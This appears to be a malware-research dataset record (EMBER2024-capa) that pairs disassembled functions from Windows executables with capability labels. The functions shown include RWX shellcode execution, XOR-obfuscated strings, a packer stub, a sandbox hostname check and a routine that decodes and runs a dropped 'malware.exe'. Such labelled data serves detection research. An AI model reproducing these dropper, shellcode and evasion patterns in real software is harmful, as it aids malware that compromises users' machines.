joyce8/EMBER2024-capa huggingface dataset:
Function at 0x473f7a
Capabilities:
Execute shellcode via indirect call
Terminate process

Disassembly:
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x110]
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x10c]
mov dword [eax + 0xc], edx
mov dword [0x6a768c], eax
mov word [eax + 0x10], cx
jmp 0x552a71
mov edx, dword [0x6a7690]
push edx
mov ebx, eax
call fcn.00555603
mov eax, dword [0x6a768c]
jmp 0x552a6c
push edx
call fcn.00555603
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0053b460
mov esp, ebp
pop ebp
ret 8
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x120], eax
mov eax, dword [0x6a72fc]
xor ebx, ebx
xor esi, esi
push edi
mov edi, edx
mov dword [ebp - 0x124], ecx
mov byte [ebp - 0x11c], 0xb8
mov dword [ebp - 0x117], 0x3e8
mov word [ebp - 0x113], 0xc200
mov dword [ebp - 0x10f], 0x340fd48b
mov byte [ebp - 0x10b], 0xc3
cmp eax, 6
jne 0x512c8c
mov eax, dword [0x6a7300]
jmp dword [0x46fa72]
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [section..data]
jmp 0x46fa10
xor eax, eax
mov edi, edi
lea ecx, [eax + 1]
imul ecx, ecx, 0x3ba1
xor cx, word [eax*2 + 0x59e380]
inc eax
mov word [ebp + eax*2 - 0x10a], cx
cmp eax, 6
jl 0x474dc9
push ebx
push ebx
lea edx, [ebp - 0x108]
push edx
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0x18
mov word [ebp - 0x111], ax
jmp 0x57b164
cmp eax, 0xa
jne 0x474e0a
mov eax, dword [0x6a7304]
cmp eax, 0x2800
jne 0x553278
mov esi, 4
jmp 0x474e0a
add esp, 4
xor ebx, ebx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x124]
push ebx
push ecx
mov ecx, dword [ebp - 0x120]
push edx
push ecx
push edi
call eax
mov esi, eax
cmp dword [0x6a7690], ebx
jne 0x552aab
mov edi, dword [sym.imp.msvcrt.dll_rand]
call edi
mov word [0x6a7690], ax
call edi
mov word [0x6a7692], ax
mov edx, dword [0x6a7690]
mov ebx, dword [0x6a768c]
jmp 0x46cf6a
cmp eax, 0x295a
jne 0x55328d
mov esi, 4
jmp 0x474e0a
cmp eax, 0x3839
jne 0x5532a2
mov esi, 4
jmp 0x474e0a
cmp eax, 0x3ad7
jne 0x474dc5
mov esi, 4
jmp dword [0x5532bb]
mov eax, dword [0x6a768c]
mov dword [ebp - 0x11b], esi
cmp eax, ebx
jne 0x430abc
push 0x40
push 0x3000
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x118]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x114]
jmp 0x430a98
Function at 0x494193
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [0x6a7544]
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x57d901
push edi
mov eax, dword [ebp + 0xc]
sub eax, esi
cmp eax, 0x100000
jle 0x56e5ce
mov eax, 0x100000
jmp 0x56e5ce
push 0
push eax
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jle 0x57d8ee
mov eax, dword [0x6a7548]
add esi, edi
mov dword [ebp - 8], esi
test eax, eax
je 0x57d8e5
fild dword [ebp - 4]
sub esp, 0xc
jmp 0x57d8d2
fstp dword [esp + 8]
fild dword [ebp - 8]
fstp dword [esp + 4]
fild dword [ebp + 0xc]
fstp dword [esp]
call eax
cmp esi, dword [ebp + 0xc]
jl 0x4941ad
cmp edi, 0xffffffff
pop edi
jne 0x57d901
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a389a
Capabilities:
Encode data using xor

Disassembly:
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x6abaec], cl
jne 0x54c11c
jmp 0x504ffc
or dword [0x6abaec], ecx
xor eax, eax
jmp 0x505009
lea edx, [eax + 1]
imul edx, edx, 0x3417
xor dx, word [eax*2 + 0x59e318]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xd
jl 0x505009
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x1ea7
xor dx, word [eax*2 + 0x59e334]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 5
jl 0x50502f
lea eax, [ebp - 0x108]
push 0x54c102
ret
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push edx
push esi
push eax
call dword [0x6abae8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0053b460
jmp 0x41dda4

Function at 0x4c7261
Capabilities:
Create thread

Disassembly:
mov dword [esp + 0x60960], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push 0x100
lea eax, [esp + 0x6066c]
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x60668]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41a8c1
jmp 0x460fe6
sub eax, edx
dec eax
js 0x461015
lea esp, [esp]
cmp byte [esp + eax + 0x60668], 0x5c
je 0x46100d
dec eax
jns 0x460ff3
jmp 0x461015
mov byte [esp + eax + 0x60669], 0
xor eax, eax
lea esp, [esp]
jmp 0x50627e
jmp 0x47f051
push 0x64
call edi
cmp byte [0x6a753f], 0
je 0x47f051
call fcn.004c92aa
push 0
call esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
push 0x100
mov dword [0x6a7530], eax
jmp dword [0x47f084]
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x60964
call fcn.00475b72
mov eax, dword [section..data]
xor eax, esp
jmp 0x41a888
mov cl, byte [esp + eax + 0x60668]
mov byte [eax + 0x6624e8], cl
inc eax
test cl, cl
jne 0x50627e
push 0
push 0
push 0
push 0x4610dc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [0x6a753f], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x6a7528], eax
jne 0x47f062
jmp 0x47f04c
Function at 0x5133ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x6279
jmp 0x57cff8
xor cx, word [eax*2 + 0x59e230]
inc eax
mov word [ebp + eax*2 - 0x10a], cx
cmp eax, 7
jl 0x513401
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x4593
xor dx, word [eax*2 + 0x59e240]
inc eax
mov word [ebp + eax*2 - 0x20a], dx
cmp eax, 5
jl 0x57d014
push 0x4c9268
ret

Function at 0x5219de
Capabilities:
Encode data using xor

Disassembly:
add eax, ecx
cmp eax, 0xa
jl 0x521a13
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x2a28
xor dx, word [eax*2 + 0x59e63c]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 5
jl 0x4ace39
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x6abae0], eax
mov edx, dword [ebp - 0x20c]
mov eax, dword [ebp + 8]
jmp 0x5518b8
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, 1
mov dword [ebp - 0x20c], eax
test byte [0x6abae4], cl
jne 0x4ace7d
or dword [0x6abae4], ecx
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x408d
xor dx, word [eax*2 + 0x59e624]
mov word [ebp + eax*2 - 0x108], dx
jmp 0x4ace2c
push edx
push eax
push ebx
push edi
push esi
call dword [0x6abae0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0053b460
mov esp, ebp
pop ebp
ret 8

Function at 0x5253f4
Capabilities:
Encode data using xor

Disassembly:
push edi
push 0
push 0
push esi
call dword [0x6abaf0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0053b460
mov esp, ebp
pop ebp
ret
test byte [0x6abaf4], cl
jne 0x4ec91b
or dword [0x6abaf4], ecx
xor eax, eax
jmp 0x4cf8b3
lea edx, [eax + 1]
imul edx, edx, 0x1d8b
xor dx, word [eax*2 + 0x59e2f0]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xa
jl 0x4cf8b3
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x4c32
xor dx, word [eax*2 + 0x59e308]
jmp 0x4ec8e8
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 7
jl 0x4cf8d9
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x6abaf0], eax
push 0
push 0
push ebx
jmp 0x4a3880
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
jmp 0x4cf89a
Function at 0x53e55a
Capabilities:
Encode data using xor

Disassembly:
lea edx, [ecx + eax*2]
xor eax, eax
mov dword [esi], edx
test edi, edi
jle 0x5133e6
lea ebx, [ebx]
mov edx, dword [esi]
lea ecx, [eax + 1]
imul ecx, dword [ebp + 8]
xor cx, word [ebx + eax*2]
inc eax
mov word [edx + eax*2 - 2], cx
cmp eax, edi
jl 0x5133cb
mov eax, esi
pop ebp
ret 8
push ebp
mov ebp, esp
cmp byte [0x6a766c], 0
jne 0x53e584
push 0x1000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
mov dword [0x6a740c], eax
mov byte [0x6a766c], 1
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x6a740c]
jmp 0x5133b6
Function at 0x5432d9
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0x18
mov word [ebp - 0x115], ax
mov eax, dword [0x6a767c]
mov dword [ebp - 0x11f], esi
cmp eax, ebx
jne 0x52702c
push 0x40
push 0x3000
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x526ff4
push eax
jmp 0x4c5d84
cmp eax, 0xa
jne 0x4af744
mov eax, dword [0x6a7304]
cmp eax, 0x2800
jne 0x4b1525
mov esi, 0x1a3
jmp 0x4af744
cmp eax, 0x295a
jne 0x4b153a
mov esi, 0x1a6
jmp 0x4af744
cmp eax, 0x3839
jne 0x4b154f
mov esi, 0x1a8
jmp 0x4af744
cmp eax, 0x3ad7
jne 0x4c5d56
jmp 0x4c5d4c
mov esi, 0x1ad
jmp 0x4af744
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x2d67
xor cx, word [eax*2 + 0x59e350]
inc eax
mov word [ebp + eax*2 - 0x10e], cx
cmp eax, 6
jl 0x4c5d58
push ebx
push ebx
lea edx, [ebp - 0x10c]
push edx
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4af736
mov esi, 0x19b
jmp 0x4af744
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x17b3
xor dx, word [eax*2 + 0x59e340]
inc eax
mov word [ebp + eax*2 - 0x10e], dx
cmp eax, 6
jl 0x50d59c
push ebx
push ebx
lea eax, [ebp - 0x10c]
jmp 0x4b14fc
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x118]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x114]
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x110]
mov dword [eax + 0xc], edx
mov dword [0x6a767c], eax
mov word [eax + 0x10], cx
jmp 0x527044
mov edx, dword [0x6a7680]
push edx
mov ebx, eax
call fcn.00555603
mov eax, dword [0x6a767c]
add esp, 4
xor ebx, ebx
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
jmp 0x56e02c
cmp eax, 6
jne 0x4b1502
mov eax, dword [0x6a7300]
cmp eax, 1
jne 0x53f727
lea esi, [ebx + 0x13]
jmp 0x4af744
cmp eax, 2
jne 0x53f73a
mov esi, 0x196
jmp 0x4af744
cmp eax, 3
jne 0x50d59a
jmp 0x50d590
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [section..data]
xor eax, ebp
jmp 0x553c20
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x124], eax
mov eax, dword [0x6a72fc]
xor ebx, ebx
xor esi, esi
push edi
mov edi, edx
mov dword [ebp - 0x128], ecx
mov byte [ebp - 0x120], 0xb8
mov dword [ebp - 0x11b], 0x3e8
mov word [ebp - 0x117], 0xc200
mov dword [ebp - 0x113], 0x340fd48b
mov byte [ebp - 0x10f], 0xc3
jmp 0x53f708
push 0x40
push 0x3000
push ecx
push ebx
push edx
push edi
call eax
mov esi, eax
cmp dword [0x6a7680], ebx
jne 0x56e05d
mov edi, dword [sym.imp.msvcrt.dll_rand]
call edi
mov word [0x6a7680], ax
call edi
mov word [0x6a7682], ax
mov eax, dword [0x6a7680]
mov ebx, dword [0x6a767c]
push eax
call fcn.00555603
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0053b460
mov esp, ebp
push 0x4c0c06
ret
Function at 0x5518d3
Capabilities:
Encode data using xor

Disassembly:
cmp eax, 5
jl 0x5363ff
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x6abad8], eax
push 0
push 0x18
push edi
push 0
push esi
call dword [0x6abad8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0053b460
mov esp, ebp
pop ebp
ret
jne 0x48acc1
or dword [0x6abadc], ecx
xor eax, eax
jmp 0x5363d9
lea edx, [eax + 1]
imul edx, edx, 0xe1e
xor dx, word [eax*2 + 0x59e648]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xd
jl 0x5363d9
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x5f04
xor dx, word [eax*2 + 0x59e664]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
jmp 0x48ac98
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x6abadc], cl
jmp 0x5363c6
Function at 0x553278
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x110]
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x10c]
mov dword [eax + 0xc], edx
mov dword [0x6a768c], eax
mov word [eax + 0x10], cx
jmp 0x552a71
mov edx, dword [0x6a7690]
push edx
mov ebx, eax
call fcn.00555603
mov eax, dword [0x6a768c]
jmp 0x552a6c
push edx
call fcn.00555603
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0053b460
mov esp, ebp
pop ebp
ret 8
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x120], eax
mov eax, dword [0x6a72fc]
xor ebx, ebx
xor esi, esi
push edi
mov edi, edx
mov dword [ebp - 0x124], ecx
mov byte [ebp - 0x11c], 0xb8
mov dword [ebp - 0x117], 0x3e8
mov word [ebp - 0x113], 0xc200
mov dword [ebp - 0x10f], 0x340fd48b
mov byte [ebp - 0x10b], 0xc3
cmp eax, 6
jne 0x512c8c
mov eax, dword [0x6a7300]
jmp dword [0x46fa72]
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [section..data]
jmp 0x46fa10
xor eax, eax
mov edi, edi
lea ecx, [eax + 1]
imul ecx, ecx, 0x3ba1
xor cx, word [eax*2 + 0x59e380]
inc eax
mov word [ebp + eax*2 - 0x10a], cx
cmp eax, 6
jl 0x474dc9
push ebx
push ebx
lea edx, [ebp - 0x108]
push edx
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0x18
mov word [ebp - 0x111], ax
jmp 0x57b164
cmp eax, 0xa
jne 0x474e0a
mov eax, dword [0x6a7304]
cmp eax, 0x2800
jne 0x553278
mov esi, 4
jmp 0x474e0a
add esp, 4
xor ebx, ebx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x124]
push ebx
push ecx
mov ecx, dword [ebp - 0x120]
push edx
push ecx
push edi
call eax
mov esi, eax
cmp dword [0x6a7690], ebx
jne 0x552aab
mov edi, dword [sym.imp.msvcrt.dll_rand]
call edi
mov word [0x6a7690], ax
call edi
mov word [0x6a7692], ax
mov edx, dword [0x6a7690]
mov ebx, dword [0x6a768c]
jmp 0x46cf6a
cmp eax, 0x295a
jne 0x55328d
mov esi, 4
jmp 0x474e0a
cmp eax, 0x3839
jne 0x5532a2
mov esi, 4
jmp 0x474e0a
cmp eax, 0x3ad7
jne 0x474dc5
mov esi, 4
jmp dword [0x5532bb]
mov eax, dword [0x6a768c]
mov dword [ebp - 0x11b], esi
cmp eax, ebx
jne 0x430abc
push 0x40
push 0x3000
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x118]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x114]
jmp 0x430a98
Function at 0x55c9c4
Capabilities:
Encode data using xor

Disassembly:
add esp, 8
test esi, esi
je 0x51a2df
mov ebx, dword [sym.imp.msvcrt.dll_fgets]
push esi
lea eax, [ebp - 0x108]
push 0x100
push eax
call ebx
add esp, 0xc
test eax, eax
je 0x51a2d5
jmp 0x50b2f6
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x10d3
xor cx, word [eax*2 + 0x59e6d8]
inc eax
mov word [ebp + eax*2 - 0x20a], cx
cmp eax, 0xc
jl 0x50b2f8
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.msvcrt.dll_strstr]
add esp, 8
test eax, eax
je 0x5389e7
push 0x538998
ret
push esi
call dword [sym.imp.msvcrt.dll_fclose]
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0053b460
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x4ed696
ret
push ebp
mov ebp, esp
sub esp, 0x308
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
push ebx
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push esi
lea edx, [ebp - 0x308]
mov dword [edi + 0x18], eax
push edx
mov eax, 0x72
push ecx
mov dword [edi + 0xc], 0xfa0
mov word [ebp - 0x308], ax
call dword [sym.imp.msvcrt.dll_fopen]
mov esi, eax
jmp 0x47d422

Function at 0x56f11d
Capabilities:
Enumerate pe sections

Disassembly:
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x4cbd29
inc edx
add eax, 0x28
cmp edx, esi
jb 0x56f146
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
push edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x4cbd27
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x4cbd1b
jmp 0x4cbd0e

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4015b0
Capabilities:
Check for sandbox username or hostname
Execute command
Get hostname

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ecx
sub esp, 0x430
call fcn.00401780
mov dword [ebp - 0x418], 0
lea edx, [ebp - 0x414]
mov eax, 0
mov ecx, 0xff
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x41c], 0x400
lea eax, [ebp - 0x41c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call eax
sub esp, 8
mov eax, dword [str.KITTY031]
add eax, 5
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 7]
test eax, eax
cmovs eax, edx
sar eax, 3
movzx eax, byte [ebp + eax - 0x418]
movsx edx, al
mov eax, dword [ebp - 0x14]
and eax, 7
mov ecx, eax
sar edx, cl
mov eax, edx
and eax, 1
test eax, eax
je 0x40165e
mov dword [ebp - 0xc], 0x403020
mov dword [ebp - 0x10], 0x44
jmp 0x40166c
mov dword [ebp - 0xc], 0x403080
mov dword [ebp - 0x10], 0xbd
mov dword [esp + 4], 0x40404d
mov dword [esp], str.malware.exe
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x18], eax
jmp 0x4016a7
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
movzx eax, byte [eax]
movsx eax, al
xor al, 0xff
mov edx, eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_fputc
mov eax, dword [ebp - 0x10]
lea edx, [eax - 1]
mov dword [ebp - 0x10], edx
test eax, eax
jne 0x401685
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp], str.malware.exe
call sub.msvcrt.dll_system
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x401940
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004026b0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004026b0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x4019a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406074]
test esi, esi
jle 0x401ac0
mov eax, dword [0x406078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4019d4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401a57
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4019c0
mov dword [esp], ebx
call fcn.00402390
mov edi, eax
test eax, eax
je 0x401ae7
mov eax, dword [0x406078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.004024d0
mov edx, dword [0x406078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ac7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401a50
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401a60
add dword [0x406074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401a50
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401940
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4019de
mov eax, dword [0x406078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401940
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401940
lea esi, [esi]
nop

Function at 0x402000
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406088]
sub esp, 4
test ebx, ebx
je 0x402055
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40204e
test esi, esi
je 0x40204e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402030
mov dword [esp], 0x406090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x1006d53
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 4
pop eax
call fcn.01004d10
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1006db9
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x1008304]
mov esi, dword [ebp - 0x40]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
lea edx, [esi - 1]
and ecx, 0x103
not edx
and edx, ebx
inc ecx
sub edx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0xfffffff1
add eax, 0x11
imul eax, esi
add eax, edi
cmp edx, eax
jae 0x1006dbd
xor eax, eax
jmp 0x1006dca
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x50]
pop edi
pop esi
pop ebx
leave
ret